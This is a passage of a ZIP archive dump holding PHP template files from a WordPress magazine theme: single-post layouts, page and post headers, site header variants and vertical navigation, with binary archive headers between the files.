	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					echo '<div class="penci-post-image-wrapper">';
					echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
					echo '<div class="post-format-entry-header">';
					echo '<div class="penci-sidebar-content">';
					
					if ( ! get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					get_template_part( 'template-parts/single', 'entry-header' );
					echo '</div>';
					if ( $show_post_format ) {
									echo '<div class="penci-single-s13-content">';
									get_template_part( 'template-parts/single', 'post-format' );
									echo '</div>';
								}
							echo '</div>';
						echo '</div>';
					echo '</div>';

				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\G	  	    template-parts/page-header.phpnu [        <?php

$postid = get_the_ID();
$page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

$pheader_hideline      = get_theme_mod( 'penci_pheader_hideline' );
$pheader_hidebead      = get_theme_mod( 'penci_pheader_hidebead' );
$pheader_align         = get_theme_mod( 'penci_pheader_align' );

$page_title_df = array(
	'pheader_hideline'      => '',
	'pheader_hidebead'      => '',
	'pheader_align'         => ''
);

$page_title = wp_parse_args( $page_title, $page_title_df );

if( 'hide' == $page_title['pheader_hidebead'] ){
	$pheader_hidebead = true;
}elseif( 'show' == $page_title['pheader_hidebead'] ){
	$pheader_hidebead = false;
}

if( 'hide' == $page_title['pheader_hideline'] ){
	$pheader_hideline = true;
}elseif( 'show' == $page_title['pheader_hideline'] ){
	$pheader_hideline = false;
}


if( $page_title['pheader_align'] ){
	$pheader_align = $page_title['pheader_align'];
}

$class_page_header = 'penci-page-header-wrap';
$class_page_header .= ' penci-pheader-'.  esc_attr( $pheader_align ? $pheader_align : 'center' );
$class_page_header .= $pheader_hidebead  ? ' penci-phhide-bread' : '';
$class_page_header .= $pheader_hideline  ? ' penci-phhide-line' : '';
?>
<div class="<?php echo esc_attr( $class_page_header ); ?>">
	<div class="penci-page-header-inner container">
		<h1 class="penci-page-header-title"> <?php echo get_the_title( $postid ); ?> </h1>

		<?php if ( ! $pheader_hidebead ) : ?>
			<?php
			$yoast_breadcrumb = '';
			if ( function_exists( 'yoast_breadcrumb' ) ) {
				$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb">', '</div>', false );
			}

			if( $yoast_breadcrumb ){
				echo $yoast_breadcrumb;
			}else{ ?>
				<div class="container container-single-page penci-breadcrumb">
					<span><a class="crumb" href="<?php echo esc_url( home_url('/') ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon('fas fa-angle-right'); ?>
					<?php
					$page_parent = get_post_ancestors( get_the_ID() );
					if( ! empty( $page_parent ) ):
						$page_parent = array_reverse($page_parent);
						foreach( $page_parent as $pages ){
							?>
							<span><a class="crumb" href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a></span><?php penci_fawesome_icon('fas fa-angle-right'); ?>
						<?php }
					endif; ?>
					<span><?php the_title(); ?></span>
				</div>
			<?php } ?>
		<?php endif; ?>
	</div>
</div>
PK     N\?J,    !  template-parts/single-style-7.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-7 penci-single-smore container-single-fullwidth hentry';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-7 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if( ! get_theme_mod( 'penci_move_title_bellow' ) ) {

						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					}
					get_template_part( 'template-parts/single', 'post-format' );
				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\[    "  template-parts/single-style-10.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-10 penci-single-smore container-single-fullwidth hentry  penci-header-text-white';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-10 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>

<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					echo '<div class="penci-post-image-wrapper">';
					echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
					if ( ! get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					echo '<div class="post-format-entry-header">';
					echo '<div class="penci-sidebar-content">';
					if ( get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					get_template_part( 'template-parts/single', 'entry-header' );

					if ( get_theme_mod( 'penci_post_adsense_single10' ) ) {
						echo '<div class="penci-google-adsense-single-s10">';
						echo do_shortcode( get_theme_mod( 'penci_post_adsense_single10' ) );
						echo '</div>';
					}

					echo '</div>';
					if ( $show_post_format ) {
									echo '<div class="penci-single-s10-content">';
									get_template_part( 'template-parts/single', 'post-format' );
									echo '</div>';
								}
							echo '</div>';
						echo '</div>';
					echo '</div>';

				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\ˣ    %  template-parts/single-post-header.phpnu [        <?php
$prev_post      = get_previous_post();
$next_post      = get_next_post();
$thumbnail_size = 'thumbnail';
wp_enqueue_script( 'penci-nav-scroll' );
$title_length = get_theme_mod( 'penci_post_sticky_rlposts_tlength', 10 );
?>
<div class="penci-post-sticky-nav">
    <div class="container">
        <div class="penci-post-sticky-nav-wrap">
			<?php if ( ! empty( $prev_post ) ) : ?>
                <div class="prev-post">
                    <a class="prev-post-wrap snav-pwrap" href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                        <?php if ( has_post_thumbnail( $prev_post->ID ) ): ?>

                            <span <?php echo penci_layout_bg( penci_image_srcset( $prev_post->ID, $thumbnail_size ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                                    class="<?php echo penci_layout_bg_class(); ?> penci-post-nav-thumb penci-holder-load penci-image-holder"
                                    href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                                <?php echo penci_layout_img( penci_image_srcset( $prev_post->ID, $thumbnail_size ), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                            </span>

                        <?php else: ?>

                            <span <?php echo penci_layout_bg( penci_get_default_thumbnail_url(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                                    class="<?php echo penci_layout_bg_class(); ?> penci-post-nav-thumb penci-holder-load penci-image-holder"
                                    href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                                <?php echo penci_layout_img( penci_get_default_thumbnail_url(), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                            </span>

                        <?php endif; ?>
                        <div class="prev-post-inner pnavi-inner">
                            
                            
                            <div class="pagi-text">
                                <h5 class="prev-title">
                                    <?php 
                                        $title = get_the_title( $prev_post->ID );
                                        if ( $title_length ) {
                                            echo wp_trim_words( $title, $title_length, '...' );
                                        } else {
                                            echo $title;
                                        }
                                    ?>
                                </h5>
                            </div>
                            
                        </div>
                    </a>
                </div>
            <?php else: ?>
                <div class="prev-post"></div>
			<?php endif; ?>
            <div class="current-post">
                <h4>
                <?php 
                    $title = get_the_title( get_the_ID() );
                    if ( $title_length ) {
                        echo wp_trim_words( $title, $title_length, '...' );
                    } else {
                        echo $title;
                    }
                ?>
                </h4>
            </div>
			<?php if ( ! empty( $next_post ) ) : ?>
                <div class="next-post">
                    <a class="next-post-wrap snav-pwrap" href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                        <?php if ( has_post_thumbnail( $next_post->ID ) ):
                            ?>

                            <span <?php echo penci_layout_bg( penci_image_srcset( $next_post->ID, $thumbnail_size ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                                    class="<?php echo penci_layout_bg_class(); ?> penci-post-nav-thumb penci-holder-load nav-thumb-next penci-image-holder"
                                    href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                                <?php echo penci_layout_img( penci_image_srcset( $next_post->ID, $thumbnail_size ), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                            </span>

                        <?php else: ?>

                            <span <?php echo penci_layout_bg( penci_get_default_thumbnail_url(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                                    class="<?php echo penci_layout_bg_class(); ?> penci-post-nav-thumb penci-holder-load nav-thumb-next penci-image-holder"
                                    href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                                <?php echo penci_layout_img( penci_get_default_thumbnail_url(), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                            </span>

                        <?php endif; ?>
                        <div class="next-post-inner pnavi-inner">
                            <div class="pagi-text">
                                <h5 class="next-title">
                                    <?php 
                                        $title = get_the_title( $next_post->ID );
                                        if ( $title_length ) {
                                            echo wp_trim_words( $title, $title_length, '...' );
                                        } else {
                                            echo $title;
                                        }
                                    ?>
                                </h5>
                            </div>
                        </div>
                    </a>
                </div>
            <?php else: ?>
                <div class="next-post"></div>
			<?php endif; ?>
        </div>
    </div>
</div>PK     N\0C    "  template-parts/header/header-9.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<div class="<?php penci_soledad_get_header_width(); ?>">
                <div class="button-menu-mobile header-9"><?php penci_svg_menu_icon(); ?></div>
				<?php get_template_part( 'template-parts/header/logo-has-trans' ); ?>
				<?php
				get_template_part( 'template-parts/header/menu' );
				do_action( 'penci_top_search' );
				if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
					get_template_part( 'template-parts/header/top-search' );
				}

				get_template_part( 'template-parts/menu-hamburger-icon' );
				?>
				<?php if ( class_exists( 'WooCommerce' ) ): ?>
					<?php get_template_part( 'template-parts/header/shop-icon' ); ?>
				<?php endif; ?>

				<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                    <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>
            </div>
        </nav>
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->
PK     N\s)    "  template-parts/header/header-3.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_remove_header' ) ): ?>
		<div class="inner-header penci-header-second">
			<div class="<?php penci_soledad_get_header_width(); ?> align-left-logo<?php if ( get_theme_mod( 'penci_header_3_banner' ) || get_theme_mod( 'penci_header_3_adsense' ) ): echo ' has-banner'; endif; ?>">
				<div id="logo">
					<?php get_template_part( 'template-parts/header/logo' ); ?>
					<?php if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif; ?>
				</div>

				<?php if ( ( get_theme_mod( 'penci_header_3_adsense' ) || get_theme_mod( 'penci_header_3_banner' ) ) ): ?>
					<?php
					$banner_img       = get_theme_mod( 'penci_header_3_banner' ) ? get_theme_mod( 'penci_header_3_banner' ) : get_stylesheet_directory_uri() . '/images/banner-770x90.jpg';
					$open_banner_url  = '';
					$close_banner_url = '';
					if ( get_theme_mod( 'penci_header_3_banner_url' ) ):
						$banner_url       = get_theme_mod( 'penci_header_3_banner_url' );
						$open_banner_url  = '<a rel="noopener" href="' . esc_url( $banner_url ) . '" target="_blank">';
						$close_banner_url = '</a>';
					endif;
					?>
					<div class="header-banner header-style-3">
						<?php if ( get_theme_mod( 'penci_header_3_adsense' ) ): echo do_shortcode( get_theme_mod( 'penci_header_3_adsense' ) ); endif; ?>
						<?php if ( get_theme_mod( 'penci_header_3_banner' ) && ! get_theme_mod( 'penci_header_3_adsense' ) ): ?>
							<?php echo $open_banner_url; ?><img class="pc-hdbanner3" src="<?php echo esc_url( $banner_img ); ?>" alt="Banner" width="<?php echo penci_get_image_data_basedurl( $banner_img, 'w' ); ?>" height="<?php echo penci_get_image_data_basedurl( $banner_img, 'h' ); ?>" /><?php echo $close_banner_url; ?>
						<?php endif; ?>
					</div>
				<?php endif; ?>
			</div>
		</div>
	<?php endif; ?>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php
		$class_layout_bottom = penci_soledad_sitenavigation_classes();

		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo $class_layout_bottom; ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div class="button-menu-mobile header-3"><?php penci_svg_menu_icon(); ?></div>
				<?php
				if ( get_theme_mod( 'penci_header_logo_mobile' ) ) {
					echo '<div class="penci-mobile-hlogo">';
					get_template_part( 'template-parts/header/logo' );
					echo '</div>';
				}

				get_template_part( 'template-parts/header/menu' );
				do_action( 'penci_top_search' );

				if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
					get_template_part( 'template-parts/header/top-search' );
				}
				get_template_part( 'template-parts/menu-hamburger-icon' );

				if ( class_exists( 'WooCommerce' ) ) {
					get_template_part( 'template-parts/header/shop-icon' );
				}
				?>
				<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                    <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>

            </div>
        </nav><!-- End Navigation -->
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>

</header>
<!-- end #header -->
PK     N\h    (  template-parts/header/feature-slider.phpnu [        <?php
if ( get_theme_mod( 'penci_enable_featured_video_bg' ) && get_theme_mod( 'penci_featured_video_url' ) ) {
	get_template_part( 'inc/featured_slider/featured_video' );
} else {
	if ( get_theme_mod( 'penci_featured_slider' ) ) {
		Penci_Featured_Slider::render_featured_slider();
	}
}PK     N\    &  template-parts/header/vertical-nav.phpnu [        <?php
$header_layout = penci_soledad_get_header_layout();
$logo_url_nav  = esc_url( home_url( '/' ) );
if ( get_theme_mod( 'penci_custom_url_logo' ) ) {
	$logo_url = get_theme_mod( 'penci_custom_url_logo' );
}
if ( get_theme_mod( 'penci_custom_url_logo_vertical' ) ) {
	$logo_url_nav = get_theme_mod( 'penci_custom_url_logo_vertical' );
}
$style = 'mstyle-' . get_theme_mod( 'penci_moble_vertical_menu_style', 'default' );

if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) { ?>
    <a href="#" id="close-sidebar-nav"
       class="<?php echo esc_attr( $header_layout . ' ' . $style ); ?>"><?php penci_fawesome_icon( 'fas fa-times' ); ?></a>
    <nav id="sidebar-nav" class="<?php echo esc_attr( $header_layout . ' ' . $style ); ?>" role="navigation"
	     <?php if ( ! get_theme_mod( 'penci_schema_sitenav' ) ): ?>itemscope
         itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>

		<?php if ( penci_vernav_builder_content() ) {

			echo penci_vernav_builder_content();

		} else {

			if ( ! get_theme_mod( 'penci_header_logo_vertical' ) ) :
				$dark_logo = get_theme_mod( 'penci_menu_logo_dark' );
				$dark_logo = get_theme_mod( 'penci_menu_logosidebar_dark' ) ? get_theme_mod( 'penci_menu_logosidebar_dark' ) : $dark_logo;

				$data_dark_logo = '';
				if ( $dark_logo ) {
					$data_dark_logo .= 'data-darklogo="' . esc_url( $dark_logo ) . '"';
				}

				?>
                <div id="sidebar-nav-logo">
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
						<?php if ( get_theme_mod( 'penci_mobile_nav_logo' ) ) {
							$logo_img = penci_holder_image_base( penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ), 'w' ), penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ), 'h' ) );
							?>
                            <a href="<?php echo $logo_url_nav; ?>"><img
                                        class="penci-lazy sidebar-nav-logo penci-limg" <?php echo $data_dark_logo; ?>
                                        src="<?php echo $logo_img; ?>"
                                        width="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ), 'w' ); ?>"
                                        height="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ), 'h' ); ?>"
                                        data-src="<?php echo esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ); ?>"
                                        data-lightlogo="<?php echo esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ); ?>"
                                        alt="<?php bloginfo( 'name' ); ?>"/></a>
						<?php } elseif ( get_theme_mod( 'penci_logo' ) ) {
							$logo_img = penci_holder_image_base( penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'w' ), penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'h' ) );
							?>
                            <a href="<?php echo $logo_url_nav; ?>"><img
                                        class="penci-lazy penci-limg" <?php echo $data_dark_logo; ?>
                                        src="<?php echo $logo_img; ?>"
                                        width="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'w' ); ?>"
                                        height="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'h' ); ?>"
                                        data-src="<?php echo esc_url( get_theme_mod( 'penci_logo' ) ); ?>"
                                        data-lightlogo="<?php echo esc_url( get_theme_mod( 'penci_logo' ) ); ?>"
                                        alt="<?php bloginfo( 'name' ); ?>"/></a>
						<?php } else {
							$logo_img = penci_holder_image_base( 12, 36 );
							?>
                            <a href="<?php echo $logo_url_nav; ?>"><img
                                        class="penci-lazy penci-limg" <?php echo $data_dark_logo; ?>
                                        src="<?php echo $logo_img; ?>"
                                        width="125" height="36"
                                        data-src="<?php echo PENCI_SOLEDAD_URL; ?>/images/mobile-logo.png"
                                        data-lightlogo="<?php echo PENCI_SOLEDAD_URL; ?>/images/mobile-logo.png"
                                        alt="<?php bloginfo( 'name' ); ?>"/></a>
						<?php } ?>
					<?php } else { ?>
						<?php if ( get_theme_mod( 'penci_mobile_nav_logo' ) ) { ?>
                            <a href="<?php echo $logo_url_nav; ?>"><img
                                        src="<?php echo esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ); ?>"
                                        width="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ), 'w' ); ?>"
                                        height="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_mobile_nav_logo' ) ), 'h' ); ?>"
                                        alt="<?php bloginfo( 'name' ); ?>"/></a>
						<?php } elseif ( get_theme_mod( 'penci_logo' ) ) { ?>
                            <a href="<?php echo $logo_url_nav; ?>"><img
                                        src="<?php echo esc_url( get_theme_mod( 'penci_logo' ) ); ?>"
                                        width="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'w' ); ?>"
                                        height="<?php echo penci_get_image_data_basedurl( esc_url( get_theme_mod( 'penci_logo' ) ), 'h' ); ?>"
                                        alt="<?php bloginfo( 'name' ); ?>"/></a>
